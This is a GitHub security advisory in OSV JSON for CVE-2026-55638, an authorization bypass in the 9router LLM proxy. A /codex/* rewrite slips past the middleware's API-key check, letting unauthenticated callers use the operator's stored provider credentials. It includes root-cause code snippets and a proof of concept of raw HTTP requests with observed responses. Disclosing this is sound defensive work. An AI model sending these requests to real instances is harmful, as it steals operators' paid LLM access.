CVE-2026-55638: 9router Unauthenticated LLM Proxy Access Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8gmq-j984-vp4r",
  "modified" : "2026-08-28T18:32:01Z",
  "published" : "2026-08-28T18:32:01Z",
  "aliases" : [ "CVE-2026-55638" ],
  "summary" : "9router: Unauthenticated LLM proxy access via /codex rewrite authorization bypass",
  "details" : "## Summary\n\n9router exposes an OpenAI/Anthropic-compatible LLM proxy. Remote access to this proxy is intended to be protected by an API-key check in the Next.js middleware.\n\nHowever, 9router also defines a rewrite that maps `/codex/*` to the backend LLM endpoint `/api/v1/responses`. The middleware authorization decision is made on the incoming request path before the rewrite is applied. Because `/codex` is not included in the middleware's protected LLM API prefix list, requests to `/codex/*` bypass the API-key gate and are later rewritten to the same backend used by `/api/v1/responses`.\n\nAs a result, an unauthenticated remote attacker can access the LLM proxy through `/codex/*` and cause the server to make upstream provider calls using the operator-stored LLM provider credentials.\n\n## Details\n\n| Component                     | File                                | Note                                                                      |\n| ----------------------------- | ----------------------------------- | ------------------------------------------------------------------------- |\n| Middleware authorization gate | `src/dashboardGuard.js`             | Protects `/v1`, `/v1beta`, `/api/v1`, and `/api/v1beta`, but not `/codex` |\n| Rewrite configuration         | `next.config.mjs`                   | Rewrites `/codex/:path*` to `/api/v1/responses`                           |\n| LLM backend route             | `src/app/api/v1/responses/route.js` | Dispatches rewritten requests to the LLM handler                          |\n| Chat handler                  | `src/sse/handlers/chat.js`          | Uses operator-stored provider credentials for upstream calls              |\n\nTested version:\n\n| Version / Commit                                             | Runtime          | Status   |\n| ------------------------------------------------------------ | ---------------- | -------- |\n| `v0.4.80`, commit `23da7b1fe3bb8edd2bdbdb63fbbb15a476b02c56` | Next.js `16.2.9` | Affected |\n\n### Root Cause\n\nThe middleware classifies requests by the original incoming pathname. The protected public LLM API prefixes are:\n\n```js\nPUBLIC_PREFIXES = [\"/v1\", \"/v1beta\", \"/api/v1\", \"/api/v1beta\"];\n```\n\nBecause `/codex` is not included in this list, a request such as `/codex/x` does not enter the LLM API authorization branch and falls through to:\n\n```js\nreturn NextResponse.next();\n```\n\nThe rewrite configuration then maps the allowed request to the protected backend route:\n\n```js\n{\n  source: \"/codex/:path*\",\n  destination: \"/api/v1/responses\"\n}\n```\n\nThe backend route reaches the same handler used by the canonical LLM endpoint:\n\n```js\nreturn await handleChat(request);\n```\n\nThe handler then processes the request and performs the upstream LLM provider call. In the tested configuration, the handler does not repeat the same middleware API-key gate for remote callers, so the rewritten request is served after bypassing the intended authorization check.\n\n## PoC\n\nThe following requests use the same target server and the same remote-style `Host` header. The only meaningful difference is the request path.\n\n### Case 01 — Protected canonical endpoint rejects unauthenticated access\n\n```http\nPOST /api/v1/responses HTTP/1.1\nHost: evil.attacker.com\nContent-Type: application/json\nContent-Length: 156\n\n{\"model\":\"fakeoai/x\",\"input\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\",\"messages\":[{\"role\":\"user\",\"content\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\"}]}\n```\n\nObserved result:\n\n```http\nHTTP/1.1 401 Unauthorized\n```\n\nThis confirms that the canonical `/api/v1/responses` path is protected by the intended API-key gate.\n\n### Case 02 — Rewritten `/codex/*` path bypasses the API-key gate\n\n```http\nPOST /codex/x HTTP/1.1\nHost: evil.attacker.com\nContent-Type: application/json\nContent-Length: 156\n\n{\"model\":\"fakeoai/x\",\"input\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\",\"messages\":[{\"role\":\"user\",\"content\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\"}]}\n```\n\nObserved result:\n\n```http\nHTTP/1.1 200 OK\n```\n\nThe request reaches the LLM backend without an API key.\n\nA controlled upstream provider endpoint recorded the outbound request from 9router:\n\n```text\nPOST /responses\nAuthorization: Bearer NINEROUTER_OPERATOR_STORED_KEY_MARKER\nrequest-body marker present: true\noperator key marker in Authorization: true\n```\n\nThis confirms that the unauthenticated `/codex/*` request causes 9router to make an upstream provider call using the operator-stored credentials.\n\n### Case 03 — Unrelated unknown path does not reach the backend\n\n```http\nPOST /notcodex/x HTTP/1.1\nHost: evil.attacker.com\nContent-Type: application/json\nContent-Length: 156\n\n{\"model\":\"fakeoai/x\",\"input\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\",\"messages\":[{\"role\":\"user\",\"content\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\"}]}\n```\n\nObserved result:\n\n```http\nHTTP/1.1 404 Not Found\n```\n\nNo upstream provider call is made. This isolates the issue to the `/codex/*` rewrite.\n\n### Case 04 — Canonical endpoint succeeds only with a valid API key\n\n```http\nPOST /api/v1/responses HTTP/1.1\nHost: evil.attacker.com\nAuthorization: Bearer sk-REDACTED\nContent-Type: application/json\nContent-Length: 156\n\n{\"model\":\"fakeoai/x\",\"input\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\",\"messages\":[{\"role\":\"user\",\"content\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\"}]}\n```\n\nObserved result:\n\n```http\nHTTP/1.1 200 OK\n```\n\nThis confirms that the canonical endpoint is functional and that the `401` response in Case 01 is an authorization failure, not a backend error.\n\n## Attack Scenario\n\n1. A remote attacker identifies a publicly reachable 9router instance.\n2. The attacker sends LLM proxy requests to `/codex/*` instead of `/api/v1/responses`.\n3. The middleware evaluates the original `/codex/*` path and does not apply the LLM API-key gate.\n4. The rewrite maps the request to `/api/v1/responses`.\n5. The backend processes the request and performs an upstream provider call.\n6. The upstream call uses the operator-stored provider credentials.\n\n## Impact\n\nA successful attacker can use the operator's configured LLM provider account without authentication.\n\nLikely consequences include:\n\n* Unauthorized use of the 9router LLM proxy.\n* Consumption of the operator's provider credits or quota.\n* Unexpected billing impact.\n* Abuse of configured OpenAI/Anthropic-compatible providers.\n* Exposure of model/provider behavior through proxy responses.\n* Bypass of the intended API-key access control for remote LLM proxy access.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "9router"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.5.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/decolua/9router/security/advisories/GHSA-8gmq-j984-vp4r"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-55638"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/decolua/9router/commit/b282f0554972ea35281520738759d76abcd0b0b3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/decolua/9router"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/decolua/9router/releases/tag/v0.5.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862", "CWE-863" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-28T18:32:01Z",
    "nvd_published_at" : "2026-07-10T17:16:59Z"
  }
}